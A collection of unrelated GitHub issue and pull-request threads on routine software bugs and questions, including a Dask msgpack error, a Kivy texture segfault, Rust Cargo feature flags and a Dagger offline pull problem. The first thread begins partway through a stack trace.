at Object.teardown (/Users/myuser/Documents/GIT/Join2/node_modules/protractor-accessibility-plugin/index.js:61:17)
at resolver (/Users/myuser/Documents/GIT/Join2/node_modules/protractor/built/plugins.js:197:49)
at Function.promise (/Users/myuser/Documents/GIT/Join2/node_modules/q/q.js:682:9)
at Plugins.safeCallPluginFun (/Users/myuser/Documents/GIT/Join2/node_modules/protractor/built/plugins.js:209:49)
at /Users/myuser/Documents/GIT/Join2/node_modules/protractor/built/plugins.js:221:30
at Array.map (native)
at Plugins.teardown (/Users/myuser/Documents/GIT/Join2/node_modules/protractor/built/plugins.js:220:18)
at /Users/myuser/Documents/GIT/Join2/node_modules/protractor/built/runner.js:349:28
at _fulfilled (/Users/myuser/Documents/GIT/Join2/node_modules/q/q.js:834:54)
[10:01:41] I/launcher - 0 instance(s) of WebDriver still running
[10:01:41] I/launcher - chrome #01 failed 1 test(s)
[10:01:41] I/launcher - overall: 1 failed spec(s)
[10:01:41] E/launcher - Process exited with error code 1

@FJLopezGarcia whats your protractor.config.js look like? I'm running into the same problem as you, if I remove my auditConfiguration for chromeA11YDevTools everything works, I'm guessing something's changed, I'm working on a fix now.
Here's my current configuration that's breaking:
      {
        chromeA11YDevTools: {
            treatWarningsAsFailures: false,
            auditConfiguration: {
                auditRulesToRun: [
                    "audioWithoutControls",
                    "badAriaAttributeValue",
                    "badAriaRole",
                    "imagesWithoutAltText",
                    "linkWithUnclearPurpose",
                    "mainRoleOnInappropriateElement",
                    "nonExistentAriaLabelledbyElement",
                    "pageWithoutTitle",
                    "requiredAriaAttributeMissing",
                    "unfocusableElementsWithOnClick",
                    "videoWithoutCaptions"
                ],
                auditRulesToSkip: [
                    "controlsWithoutLabel",
                    "lowContrastElements",
                    "elementsWithMeaningfulBackgroundImage",
                    "focusableElementNotVisibleAndNotAriaHidden"
                ],
                showUnsupportedRulesWarning: false,
                // Ignore controls without label on react-select boxes
                // Ignore <video> / ticket opened with Adobe to fix
                rules_: {
                    controlsWithoutLabel: {
                        "ignore": [".Select-control", ".form-control", "video"]
                    }
                }
            }
        }


Question about use_fp16 in image captioning code

Thanks for your work.
When I read the colab version of image captioning, I'm a little confused.
In Preparation part, it said that: Below you just need to import required packages, and check whether to use GPU or FP16.
I have GPU, do I need set 'use_fp16' to True? Or I need set 'use_fp16' to False. Thanks in advance.

Either True or False is ok, and the inference speed will be faster if set to True.

Either True or False is ok, and the inference speed will be slightly faster if set to True.

Thank you for your reply.


Not restarting home-manager service when rebuilding

I have home-manager as a nixos module and noticed that when I rebuild I have to manually restart the sops-nix service, I would like to request that you make the home-manager module do this by itself.

Does home-manager restart services these days? I am only aware of it proposing services to be restarted.

It seems that home-manager can restart services based on a diff - so if something changed in the file. If one needs to use something like systemd.user.services.restartTriggers in home-manager it can be done via X-SwitchMethod in the [Unit] section.
See related home-manager issue / question: https://github.com/nix-community/home-manager/issues/3865
Since sops-nix has a home-manager module which uses systemd user services it would be more consistent to also handle a restart of the service.

See duplicate issue #478 with a longer discussion and a work-around using config in home.nix.


Unit 2

Review the instructions in #1
Unit 2 Notion: https://www.notion.so/icssc/Touching-the-Terminal-677e236e9422450591c2c5ed09900b52

I'll take this one!


Replace links from MSDN to docs.microsoft.com

PR Summary
Replace links from MSDN to docs.microsoft.com. Old links died.
PR Context

PR Checklist

[x] PR has a meaningful title

Use the present tense and imperative mood when describing your changes

[x] Summarized changes
[x] Make sure all .h, .cpp, .cs, .ps1 and .psm1 files have the correct copyright header
[x] This PR is ready to merge and is not Work in Progress.

If the PR is work in progress, please add the prefix WIP: or [ WIP ] to the beginning of the title (the WIP bot will keep its status check at Pending while the prefix is present) and remove the prefix when the PR is ready.

Breaking changes

[x] None
OR
[ ] Experimental feature(s) needed

[ ] Experimental feature name(s):

User-facing changes

[x] Not Applicable
OR
[ ] Documentation needed

[ ] Issue filed:

Testing - New and feature

[ ] N/A or can only be tested interactively
OR
[x] Make sure you've added a new test if existing tests do not effectively test the code changed

Tooling

[ ] I have considered the user experience from a tooling perspective and don't believe tooling will be impacted.
OR
[ ] I have considered the user experience from a tooling perspective and enumerated concerns in the summary. This may include:

Impact on PowerShell Editor Services which is used in the PowerShell extension for VSCode (which runs in a different PS Host).
Impact on Completions (both in the console and in editors) - one of PowerShell's most powerful features.
Impact on PSScriptAnalyzer (which provides linting & formatting in the editor extensions).
Impact on EditorSyntax (which provides syntax highlighting with in VSCode, GitHub, and many other editors).

/cc @vexx32 @KirkMunro for information.

Oh, that's what happened. Weird. Thanks for fixing this, @iSazonov! 💖

@iSazonov let's merge this so we can unblock other PRs

Done.


Support parsing elements with no closing tag in mj-raw

Similar to what was done for https://github.com/jdrouet/mrml/issues/221, but support it for elements within a mj-raw element
We currently use the mrml through the ruby library and have found out that if you have a br element within the mj-raw it errors out with unexpected end of stream (MRML::Error).
Output:
Loading development environment (Rails <IP_ADDRESS>)
"> mjml = <<-HTML
"> <mjml>
">   <mj-body>
">    <mj-raw>something
else</mj-raw>
">  </mj-body>
"> </mjml>
>> HTML
=> "<mjml>\n  <mj-body>\n   <mj-raw>something
else</mj-raw>\n </mj-body>\n</mjml>\n"
>> MRML.to_html(mjml)
/Users/marcelolx/.asdf/installs/ruby/3.3.0/lib/ruby/gems/3.3.0/gems/mrml-1.5.0-arm64-darwin/lib/mrml.rb:26:in `new': unexpected end of stream (MRML::Error)
>> template = MRML::Template.new(mjml)
(irb):9:in `new': unexpected end of stream (MRML::Error)

If we change the line <mj-raw>something
else</mj-raw> to <mj-wrapper>something
else</mj-wrapper> it parses the br element successfully.

Ruby library version: v1.5.0
MRML version: v3

Very much appreciated @jdrouet!

thanks a lot to you!


Add environmentId to choreo events

Purpose
Add environmentId to choreo events
Goals
Add environmentId to choreo events
Security checks

Followed secure coding standards in http://wso2.com/technical-reports/wso2-secure-engineering-guidelines? yes
Ran FindSecurityBugs plugin and verified report? yes
Confirmed that this PR doesn't commit any keys, passwords, tokens, usernames, or other secrets? yes

Codecov Report

Merging #97 (f85b0da) into main (d1154b4) will increase coverage by 0.46%.
The diff coverage is n/a.

Additional details and impacted files

@@             Coverage Diff              @@
##               main      #97      +/-   ##
============================================
+ Coverage     41.82%   42.28%   +0.46%
- Complexity      160      163       +3
============================================
  Files            54       54
  Lines          1284     1284
  Branches        117      117
============================================
+ Hits            537      543       +6
+ Misses          689      683       -6
  Partials         58       58

Flag
Coverage Δ

unit_tests
42.28% <ø> (+0.46%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

...tics/publisher/reporter/GenericInputValidator.java
66.66% <ø> (ø)

...ublisher/reporter/cloud/DefaultInputValidator.java
88.88% <ø> (ø)

...rg/wso2/am/analytics/publisher/util/Constants.java
0.00% <ø> (ø)

... and 3 files with indirect coverage changes


[Bug] Custom form builder should not allow certain field names

Describe the bug
I was trying to hack on the custom service registration, and when using a field called domain, I encountered the error:
Cannot access offset of type string on string at /var/www/0.6.15/modules/Cart/Service.php:543

The line in question references a domain item.
https://github.com/FOSSBilling/FOSSBilling/blob/88f282a544d31a6b708e11d36d6c2615ad0b599b/src/modules/Cart/Service.php#L543
This suggests to me that there is some kind of confusion to happen, and that it may be possible to use other sensitive variables in the as the form field name.
How to reproduce
Order a product with a custom form field entry named domain.
Expected behavior
Either stop users from creating fields with conflicting names, or add a prefix.
Screenshots
No response
FOSSBilling version
0.6.15
FOSSBilling instance ID
No response
Module version
No response
Device
No response
Information
No response
Additional context
No response

just updated and I’m having this issue

just updated and I’m having this issue

Please check the troubleshooting steps for how to handle errors after updating:
https://fossbilling.org/docs/troubleshooting#errors-after-updating
If these don't help, we can assist you via the forum, Discord, or through a new issue here on GitHub, but as it's unrelated to the current issue, I'm collapsing your comment as being off-topic.


[Question] ARRetail Set Scale product object not working?

I using setScale method like below code but model display does not change size.
**productModel.loadModel(Uri.parse("file:///android_asset/DNTQ.obj"), Object3D.Type.OBJ, new AsyncObject3DListener() {
@Override
public void onObject3DLoaded(final Object3D object3D, Object3D.Type type) {
object3D.setLightReceivingBitMask(1);
mProductModelGroup = object3D;
            Log.d(" ============= SCALE", " x :  " + productModel.getScaleRealtime().x + "   y:  " + productModel.getScaleRealtime().y + "   z:  " + productModel.getScaleRealtime().z);

            object3D.setScale(new Vector(0.00175, 0.00175, 0.00175));
            mProductModelGroup.setOpacity(0);
            mLastProductRotation = object3D.getRotationEulerRealtime();
            productModel.setScale(new Vector(0.00175, 0.00175, 0.00175));

            Log.d("-------------- SCALE", " x :  " + productModel.getScaleRealtime().x + "   y:  " + productModel.getScaleRealtime().y + "   z:  " + productModel.getScaleRealtime().z);
        }

        @Override
        public void onObject3DFailed(String error) {
            Log.e("Viro", " Model load failed : " + error);
        }
    });**

The values from Logcat of:
============= SCALE VL:  x :  1.0   y:  1.0   z:  1.0
-------------- SCALE VL:  x :  1.0   y:  1.0   z:  1.0
Can you help me solve it?

Hey @tuzenvn ,
In your code, I am not sure what you are doing by mProductModelGroup = object3D; Did you also change this line at the bottom of the init3DModelProduct method? --> mProductModelGroup.addChildNode(productModel);
Irrespective of that, I tested the ARRetail sample by modifying the code as below, and can confirm scaling should work correctly.
 // Load the model from the given mSelected Product
        final Object3D productModel = new Object3D();
        productModel.loadModel(Uri.parse(mSelectedProduct.m3DModelUri), Object3D.Type.FBX, new AsyncObject3DListener() {
            @Override
            public void onObject3DLoaded(Object3D object3D, Object3D.Type type) {
                object3D.setLightReceivingBitMask(1);
                object3D.setScale(new Vector(0.2, 0.2, 0.2));
                mProductModelGroup.setOpacity(0);
                mProductModelGroup.setScale(new Vector(0.9, 0.9, 0.9));
                Log.d("-------------- SCALE", " x :  " + object3D.getScaleRealtime().x + "   y:  " + object3D.getScaleRealtime().y + "   z:  " + object3D.getScaleRealtime().z);
                mLastProductRotation = object3D.getRotationEulerRealtime();
            }

            @Override
            public void onObject3DFailed(String error) {
                Log.e("Viro"," Model load failed : " + error);
            }
        });

I just added object3D.setScale(new Vector(0.2, 0.2, 0.2)); and the log statement above in the given sample code. And it sets the scale correctly at (0.2,0.2,0.2). From our documentation on getScaleRealtime() here, note that this may not match the value last set by setScale(Vector) because there may be an ongoing animation. Which means that since the setScale animation (changing the scale) happens on the rendering thread, it may take some while for the values returned by getScaleRealtime to return the correct scale. I verified the above by logging scale values in productModel's onClick() method as below, and I could see the values changing correctly
        // Set click listeners on this 3D product
        productModel.setClickListener(new ClickListener() {
            @Override
            public void onClick(int i, Node node, Vector vector) {
                float x = productModel.getScaleRealtime().x;
                float y = productModel.getScaleRealtime().y;
                float z = productModel.getScaleRealtime().z;
                productModel.setScale(new Vector(x-0.1, y-0.1, z-0.1));
                Log.d("-------------- SCALE", " x :  " + productModel.getScaleRealtime().x + "   y:  " + productModel.getScaleRealtime().y + "   z:  " + productModel.getScaleRealtime().z);

            }

            @Override
            public void onClickState(int i, Node node, ClickState clickState, Vector vector) {
                onModelClick(clickState);
            }
        });

thanks alot I done it!


Run tests with runtests

@rainwoodman recommended to run tests with runtests, which has the neat feature of supporting MPI tests.
@rainwoodman:

does runtests allow to run mixed MPI and non-MPI tests?
is the test collection different than py.test? I tried to vendor run-tests.py in the root folder of the package, rename the tested package and run it but it doesn't find any test, py.test instead finds them.

implemented in #18


ALC280 on DELL 9020

I have a Dell 9020 with an ALC280. When I use layout-id = 3 its front panel works correctly (both headphones and mic jacks). Unfortunately the rear panel does not work, which includes other 2 extra jacks (line in and line out). I also tried layout-id = 4, but nothing changed. Do you know how to fix the rear panel?
Thanks

Hello. There are only laptop resources for ALC280 in AppleALC. Thats why you have only one input/output. Probably you need custom resources for your Dell. Ask on insanelymac.com. Maybe someone could help with this. If you find 100% working AppleHDA.kext for you provide it here and i'll add resources in AppleALC.
Try to contact @insanelydeepak for help with custom resources here on GitHub or via insanelymac.com http://www.insanelymac.com/forum/user/1425204-insanelydeepak/

It would be really nice to have this feature as I managed to have
EVERYTHING working on this PC.
It is a great model and can be found on the market for a great price.
On Thu, 25 May 2017 at 17:15, vandroiy2013<EMAIL_ADDRESS>wrote:

Hello. There are only laptop resources for ALC280 in AppleALC. Thats why
you have only one input/output. Probably you need custom resources for your
Dell. Ask on insanelymac.com. Maybe someone could help with this. If you
find 100% working AppleHDA.kext for you provide it here and i'll add
resources in AppleALC.
Try to contact @insanelydeepak https://github.com/insanelydeepak for
help with custom resources here on GitHub or via insanelymac.com
http://www.insanelymac.com/forum/user/1425204-insanelydeepak/
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/vit9696/AppleALC/issues/169#issuecomment-304036547,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AIo41H-dvx5Z4vnXREMUrD4p-Flbm5E3ks5r9ZstgaJpZM4NkbhR
.

--
Sent from Gmail Mobile

I'm here
make a issue at this place
https://github.com/insanelydeepak/cloverHDA-for-Mac-OS-Sierra-10.12/issues
this repo is only for AppleALC issue not for codec patch request

Please create a new issue once you have some working resources, and we will add them.


[Event Request] Codeunit 99000837 - Prod. Order Line-Reserve - OnAfterDeleteReservEntries

Hello AL-Team,
please add the following Publisher in function "DeleteLine":
[External] DeleteLine(VAR ProdOrderLine : Record "Prod. Order Line")
[ … ]
ReservMgt.DeleteReservEntries(TRUE,0);
// >> New
OnAfterDeleteReservEntries(ProdOrderLine);
// << New
ReservMgt.ClearActionMessageReferences;
[ … ]
Publisher definition currently used by us
IncludeSender: false
GlobaVarAccess: false
LOCAL [IntegrationEvent] OnAfterDeleteReservEntries(VAR ProdOrderLine : Record "Prod. Order Line")

Note: created as OnDeleteLineOnAfterDeleteReservEntries


Wait for all hosts before creating tables

The most common error we see when running the prime script is that one or more hosts are immediately marked as "down" after the connect call finishes. Those machines later rejoin and cause a schema disagreement. This change is meant to prevent the script from continuing immediately if not all hosts are available.

https://ocd.appscale.com:8080/job/Daily Build/5032/


Using sluggable while using eloquent outside laravel

I'm also trying to use Eloquent in a vanilla PHP application and I would like to include "sluggable". I get an error that the class "App" doesn't exist (in SluggableTrait.php:210) when I try to use sluggify(). Since I'm not using Laravel I don't have the "App" class. Any suggestions?

Could you go intro further detail, I am having the same problem, and maybe some others will, so I guess a solution would be nice to be posted in here. Thank you!


where can  get this file wannier90_hr_to_3NN.dat

Hi zcbc,
This is my course project, the data is currently lost now, sorry for that. But I remember the data are come from VASP.
Thanks

Hi coherent17,
Is this code a wannier function, or a eigenvalue?
Thanks

Eigenvalue, just try to visualize some result from VASP

Ok, you are so nice!


chore(tests): ignore migrations in coverage information

Current coverage is 83.18%

Merging #610 into master will decrease coverage by -0.21% as of 2aa8a3c

@@            master    #610   diff @@
======================================
  Files           36      29     -7
  Stmts         2427    2379    -48
  Branches       351     350     -1
  Methods          0       0
======================================
- Hit           2024    1979    -45
+ Partial        116     114     -2
+ Missed         287     286     -1

Review entire Coverage Diff as of 2aa8a3c

Powered by Codecov. Updated on successful CI builds.


ValueError: memoryview is too large; when reading from a large memory mapped file in Dask.

What happened:
My Dask run crashes throws a ValueError: memoryview is too large when converting a large NumPy array (stored as pickle, read with memory map) to a Zarr file with Dask.
This only happens when:

When the memory mapped file is large enough.
When reading the file with memory mapping (via joblib.load(file, mmap_mode='r'))
When running on a cluster (either local or remote)

See full log of this happening on a local Dask cluster at dask_failure.log
I was wondering if this could be circumvented somehow from the Dask side?
What you expected to happen:
Reading memory mapped file to work on cluster
Minimal Complete Verifiable Example:
Reproducable with a LocalCluster:
import dask
import dask.array as da
import dask.distributed
import joblib
import numpy as np

cluster = dask.distributed.LocalCluster(
    n_workers=1,
    threads_per_worker=10,
    processes=False,
    memory_limit='55GB'
)
client = dask.distributed.Client(address=cluster)
display(client)

in_path = '/tmp/test.pkl'  # 7.5G
out_path = '/tmp/test.zarr'

joblib.dump(
    value=np.random.rand(100_000, 10_000),
    filename=in_path
)

def to_zarr(in_path, out_path):
    data = joblib.load(filename=in_path, mmap_mode='r')
    data_da = da.from_array(
        x=data,
        chunks='64 MiB',
        name=False,
    )
    data_zarr = da.to_zarr(
        arr=data_da,
        url=out_path,
        compute=True,
    )

dask.delayed(to_zarr)(in_path, out_path).compute()

Anything else we need to know?:
The last lines of the log seem to be coming from msgpack:
msgpack/_packer.pyx in msgpack._cmsgpack.Packer._pack()
ValueError: memoryview is too large

Looking at a related issue (https://github.com/explosion/spaCy/issues/6875) this seems to be a related to a hard-coded limit in msgpack which results in the ValueError.
Environment:

Dask version: '2021.04.0'
Msgpack version: 1.0.2
Zarr version: '2.7.0'
Xarray version: '0.17.0'
JobLib version: '1.0.1'
Numpy version: '1.20.2'
Python version: Python 3.9.0
Operating System: Docker container with Debian GNU/Linux 10 (buster) running on AWS ubuntu AMI.
Install method (conda, pip, source): conda 4.10.0

Thanks for raising an issue @peterroelants. I don't think one can configure the limit in msgpack directly.

when converting a large NumPy array (stored as pickle) to a Zarr file

Could you elaborate on this point more? Is this some custom task you're producing or are you using Dask Array?
Are you able to provide a minimal example we can run to help debug (see https://blog.dask.org/2018/02/28/minimal-bug-reports)?

@jrbourbeau Sorry for not providing a code example before, I didn't want to share proprietary code or data.
I've been able to come up with a minimal example that is a variant of the original error I posted. I updated the issue to reflect this.

Thanks for the update with an example! I'm able to reproduce the msgpack error with the latest dask and distributed release (version 2021.04.0) but the issue seems to be resolved with the latest development version of dask and distributed. This issue was probably resolved by https://github.com/dask/dask/pull/7525, which fixed a related-looking issue (https://github.com/dask/distributed/issues/4652). Could you try using the development version of dask and distributed to confirm your issue is fixed?

@jrbourbeau I can confirm that using Dask main branch solves the issue, as well as in the code snippet as in my original code. Thank you so much for your help 🙏 , I've been banging my head on this all day.
Is there a way to install the development version of Dask via a pip or conda package? (instead of checking out the git repo, and pip installing from there)

Glad to hear it, thanks for following up here! You should be able to install directly from GitHub with
pip install git+https://github.com/dask/dask


rerun_py always enables all of rerun's default-flags

rerun_py imports rerun like this:
rerun = { workspace = true, default-features = false, features = [
  "analytics",
  "server",
  "sdk",
] }

So you'd think you wouldn't get a viewer with that, right? Wrong:
$ cargo tree --no-default-features -i re_viewer

re_viewer v0.6.0-alpha.0 (/home/cmc/dev/rerun-io/rerun/crates/re_viewer)
└── rerun v0.6.0-alpha.0 (/home/cmc/dev/rerun-io/rerun/crates/rerun)
    └── rerun_py v0.6.0-alpha.0 (/home/cmc/dev/rerun-io/rerun/rerun_py)

The reason is because rerun default features are declared as:
[features]
default = ["analytics", "glam", "image", "native_viewer", "server", "sdk"]

and then rerun is advertised to the workspace as:
rerun = { path = "crates/rerun", version = "=0.6.0-alpha.0" }

which implies defaults-features = true, and cannot be overridden since features are implicitly additive!!!!
(Note: starting with Rust 1.69, the current setup actually yields a (pretty cryptic) warning: rerun-io/rerun/rerun_py/Cargo.toml: default-features is ignored for rerun, since default-features was not specified for workspace.dependencies.rerun, this could become a hard error in the future)
Now the issue is that we definitely don't want to change those default features, as they are in fact the correct defaults for anyone importing the main library (including our official Rust examples!).
If the advertised rerun feature flags at the workspace level only impact usage from within the workspace, then one possible solution is to set default-features = false at the workspace level, and make the examples import the release crate instead?

Can confirm that the root manifest does not apply when importing the crates from an external project.
E.g. setting up a simple project with the following manifest:
[package]
name = "test"
version = "0.1.0"
edition = "2021"

[dependencies]
rerun = { version = "0.5.0", default-features = false }

yields
$ cargo tree -i re_viewer
error: package ID specification `re_viewer` did not match any packages

I.e. there is an opportunity here to define default feature sets for internal vs. external use.

Let's start by banning workspace dependencies from our examples, as they should be copy-pastable. They should still use path = { … } though, i.e. use the crate in the repository; not the latest published crate imho (otherwise development would gain no use of the examples)

Let's start by banning workspace dependencies from our examples, as they should be copy-pastable. They should still use path = { … } though, i.e. use the crate in the repository; not the latest published crate imho (otherwise development would gain no use of the examples)

Then they are back to not being copy-pastable though :confused:
Maybe we could have the examples depend on the non-released alpha tag (0.6.0-alpha.0 atm), and then add all of the workspace crates to the [path.crates-io] section.
Then the examples become fully copy-pastable, at least if you're copying them from a commit/branch/tag that has already been released to crates.io.

Played with it a little more, and basically the problem is that the workspace override rules only apply to direct dependencies.
E.g. say you are in an example and import rerun as:
[dependencies]
rerun = { path = "../../../crates/rerun", features = ["web_viewer"] }

since you're going through a path, the workspace definition of rerun feature flags doesn't apply but rather the defaults defined directly in rerun/Cargo.toml do.
That's great, but then rerun imports re_sdk as re_sdk.workspace = true, and so the default feature flags used for this indirect dependency are those defined in the root manifest... which makes things extremely confusing.


fails on selecting album

gives an error when trying to select an album no list is shown
2023-06-12 16:54:08.633 DEBUG (MainThread) [custom_components.google_photos.config_flow] async_albumselect_confirm called with user_input: None
2023-06-12 16:54:08.642 INFO (SyncWorker_15) [googleapiclient.discovery_cache] file_cache is only supported with oauth2client<4.0.0
2023-06-12 16:54:08.642 DEBUG (SyncWorker_15) [googleapiclient.discovery] URL being requested: GET https://www.googleapis.com/discovery/v1/apis/photoslibrary/v1/rest
2023-06-12 16:54:08.961 DEBUG (SyncWorker_15) [googleapiclient.discovery] URL being requested: GET https://photoslibrary.googleapis.com/v1/albums?pageSize=50&fields=albums%28id%2Ctitle%2CmediaItemsCount%29%2CnextPageToken&alt=json
2023-06-12 16:54:09.548 DEBUG (SyncWorker_15) [googleapiclient.discovery] Next page request URL: list_next https://photoslibrary.googleapis.com/v1/albums?pageSize=50&fields=albums%28id%2Ctitle%2CmediaItemsCount%29%2CnextPageToken&alt=json&pageToken=CkQKPnR5cGUuZ29vZ2xlYXBpcy5jb20vZ29vZ2xlLnBob3Rvcy5saWJyYXJ5LnYxLkxpc3RBbGJ1bXNSZXF1ZXN0EgIIMhLMAUFIX3VRNDNELXdhSmNBUzZDTUlJd0VHanRxSEJfQWlSUHQ1R0pQTkpNWkJtdHRJdGJfUWJxSnlzV1d1ZnU1NkM2N1FUSVkyZ3l3ZkhGSmNHbGl5MnRkNEl2T3h1NGhxRzNYMUpBc29rb1hqaERWaEZaWjc0b2N4UjJqdVNMcmNGSVQzM0hHeC1XMTUybVNPYzlEeFl5X0czZWxlQUwtUXllakZ5djc5a29WVTUzZmRGT2E1a00zTklMUUJNQkp6NER1T05i

I got just a popup that said 'error' and nothing else.
But... I removed the integration and then reinstalled it and that time it worked. So no idea what went wrong the first time..

Hmm, ok, lets hope it doesn't come back. Feel free to reopen if it does.


Feature: FastAP Loss Function

[ ] FastAP Loss function will be implemented.
[ ] Test for the new loss function will be implemented.

Reference implementations:

https://github.com/kunhe/FastAP-metric-learning/blob/master/pytorch/FastAP_loss.py
https://github.com/KevinMusgrave/pytorch-metric-learning/blob/691a6354be130547a8e26e170b86cf65c36cd791/src/pytorch_metric_learning/losses/fast_ap_loss.py

Please refer to the PR #199.

FastAP loss function is implemented.
Unittest is prepared - in which we compare the result of our loss function with that of the official implementation.
Loss function is implemented to comply with device consistency and tested using gpu.


fix: L1 network mismatch

Pull Request type

Please add the labels corresponding to the type of changes your PR introduces:

Bugfix

What is the current behavior?

Resolves: #246
What is the new behavior?

Now correctly checks the existence of the L1 Core Contract:

Does this introduce a breaking change?
No

i haven't tested, and I don't know if this warrants a test case, but it looks correct!
thank you!


Improve utils in Project API

Purpose

Contains the following changes:

Set Standalone Ballerina file path as sourceRoot in SingleFileProject. Fixes #26945
Improve util methods in ProjectLoader. Fixes #27274, Fixes #27273
Bind target to project

Check List

[x] Read the Contributing Guide
[ ] Updated Change Log
[ ] Checked Tooling Support (#)
[ ] Added necessary tests

[ ] Unit Tests
[ ] Spec Conformance Tests
[ ] Integration Tests
[ ] Ballerina By Example Tests

[ ] Increased Test Coverage
[ ] Added necessary documentation

[ ] API documentation
[ ] Module documentation in Module.md files
[ ] Ballerina By Examples

Closing this, since the relevant issues will be addressed separately by individual PRs


Support connecting to unix sockets

Similar to evhtp_bind_socket we use the unix: prefix to denote unix domain sockets.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.Espen Grindhaug seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


New Feature - Pin Bounding Box to next Images.

Hi,
Will be great if allow pin bounding box to nexts images.
For example labeling Cars from a sequence of images from video. If some car shows in all images on same spot, then we can pin that bounding box for next images without need label it in every image.

+1


🐞 docker.#Pull resolveMode preferLocal still try to connect to remote registry

What is the issue?
Working offline, I was expecting being able to run my actions. I just needed to put the resolveMode of docker.#Pull in preferLocal. Excep it still tries to do a HEAD on the registry:
Log output
go run ./cmd/dagger/ do --no-cache  -p ./cmd/dagger/logger/tty.ok.cue all
[✔] actions.all.hello.script                                                                                0.0s
[✗] actions                                                                                30.0s
[✔] actions.all.hellobis.script                                                                                0.0s
4:22PM FTL failed to execute plan: task failed: actions._pull._pull: failed to do request: Head "https://registry-1.docker.io/v2/library/debian/manifests/latest": dial tcp: i/o timeout

Steps to reproduce
Use
tty.ok.cue
package main

import (
	"dagger.io/dagger"

	"universe.dagger.io/bash"
	"universe.dagger.io/docker"
)

dagger.#Plan & {
	actions: {
		_pull: docker.#Pull & {
			source:      "index.docker.io/debian"
			resolveMode: "preferLocal"
		}
		_image: _pull.output
		all: {
			hello: bash.#Run & {
				input: _image
				script: contents: """
					echo Hello enter
					for i in {1..10}
					do
						echo $i
						sleep 0.5s
					done

					echo Hello exit
					"""
			}
			hellobis: bash.#Run & {
				input: _image
				script: contents: """
					echo Hello bis enter
					for i in {1..10}
					do
						echo $i
						sleep 0.2s
					done
					echo Hello bis exit
					"""
			}
		}
	}
}

and run dagger do --no-cache  -p ./tty.ok.cue all
Dagger version
dagger devel (21a15a84) linux/amd64 (v0.2.19)
OS version
Ubuntu 22.04

We should create a new issue based on SDK and see if it is a problem that needs to be fixed upstream


Texture.create() NPOT segfault

Versions

Python: 2.7.12 (Ubuntu), 2.7.13 (MacOS)
OS: 16.04.2 LTS (Ubuntu), 10.11.6 (MacOS)
Kivy: 1.91 (Ubuntu), 1.92dev0 (MacOS)
Kivy installation method: synaptic/apt (Ubuntu), homebrew & pip (MacOS)

Description
While educating myself about textures, I started running examples from the Kivy docs.
Near the top of the page [https://kivy.org/docs/api-kivy.graphics.texture.html] there is this example for creating a texture:
texture = Texture.create(size=(640, 480))
I was unable to get it to work without incurring the segfault. It does work if I use powers of two in size().
I tried this on two different machines (Ubuntu and MacOS), with two different versions of Kivy (1.9.1 and 1.9.2dev0). I have not tried it with the current (1.10) version, but I didn't see any indication that it was addressed in the changelog.
Code and Logs
Here's an example that triggers the problem for me:

`#!/usr/bin/env python

# Demonstrate NPOT issue. Executing this code causes a
# segfault. There's a workaround suggested at
# https://github.com/kivy/kivy/issues/3701 (untested), but an
# unhandled segfault is still a bug.

import kivy.config; kivy.config.Config.set('kivy', 'log_level', 'debug')
import kivy.graphics.texture

kivy.graphics.texture.Texture.create(size = (64, 64))
print("test 1 passed")
kivy.graphics.texture.TextureRegion.create(size = (640, 480)) # NB segfault
print("test 2 passed")
kivy.graphics.texture.Texture.create(size = (640, 480)) # NB segfault
print("test 3 passed")`

Logs from Ubuntu:
[INFO   ] [Logger      ] Record log in /home/jmckim/.kivy/logs/kivy_17-07-03_18.txt
[INFO   ] [Kivy        ] v1.9.1
[INFO   ] [Python      ] v2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609]
[DEBUG  ] [Cache       ] register <kv.image> with limit=None, timeout=60
[DEBUG  ] [Cache       ] register <kv.atlas> with limit=None, timeout=None
[INFO   ] [Image       ] Providers: img_tex, img_dds, img_gif, img_sdl2, img_pil (img_ffpyplayer ignored)
[DEBUG  ] [Cache       ] register <kv.texture> with limit=1000, timeout=60
[DEBUG  ] [Cache       ] register <kv.shader> with limit=1000, timeout=3600
test 1 passed
Segmentation fault (core dumped)

logs from MacOS:
[INFO   ] [Logger      ] Record log in /Users/jmckim/.kivy/logs/kivy_17-07-03_2.txt
[INFO   ] [Kivy        ] v1.9.2.dev0, git-86e050b, 20170207
[INFO   ] [Python      ] v2.7.13 (default, Dec 18 2016, 07:03:34)
[GCC 4.2.1 Compatible Apple LLVM 7.0.2 (clang-700.1.81)]
[DEBUG  ] [Cache       ] register <kv.image> with limit=None, timeout=60
[DEBUG  ] [Cache       ] register <kv.atlas> with limit=None, timeout=None
[INFO   ] [Image       ] Providers: img_tex, img_imageio, img_dds, img_pygame, img_gif (img_pil, img_ffpyplayer ignored)
[DEBUG  ] [Cache       ] register <kv.texture> with limit=1000, timeout=60
[DEBUG  ] [Cache       ] register <kv.shader> with limit=1000, timeout=3600
test 1 passed
Fatal Python error: (pygame parachute) Segmentation Fault
Abort trap: 6

Still have the issue.
Texture.create(size=(640, 480)) results in segmentation fault, while size=(64, 64) works.

@jim-nasa @veefore Try running with import kivy.core.window:
import kivy.config
kivy.config.Config.set('kivy', 'log_level', 'debug')
import kivy.core.window
import kivy.graphics.texture

kivy.graphics.texture.Texture.create(size = (64, 64))
print("test 1 passed")
kivy.graphics.texture.TextureRegion.create(size = (640, 480)) # NB segfault
print("test 2 passed")
kivy.graphics.texture.Texture.create(size = (640, 480)) # NB segfault
print("test 3 passed")

This will create Window instance in kivy.core.window module and enable you to create textures. Example above works for me on Windows 10 and Ubuntu 18.

@pythonic64
I was running my Texture.create(...) in a separate thread through threading and not Clock.schedule.
As pointed out in stackoverflow post by John Anderson, kivy texture manipulations should be done in mainthread.
I've scheduled my code with a Clock and it worked.


how to solve: single storageaccount/single container/multiple pods in multiple namespaces

I am trying to get multiple pods (different services) in two different namespaces to use the same storage account and storage container. So far, no luck. The first PV, PVC and Pod is starting fine, no problem. But I can't handle the second one. To my understanding, I have to use one or more PVC bound to a single PV, but this does not work over namespaces, right?
When I try to add a second PV and also a second PVC in the second namespace, I can't get the volume to mount, the Pod won't start. I assume, the flexvolume driver can't use the same storage account and storage container in multiple PV relations. Is this correct?
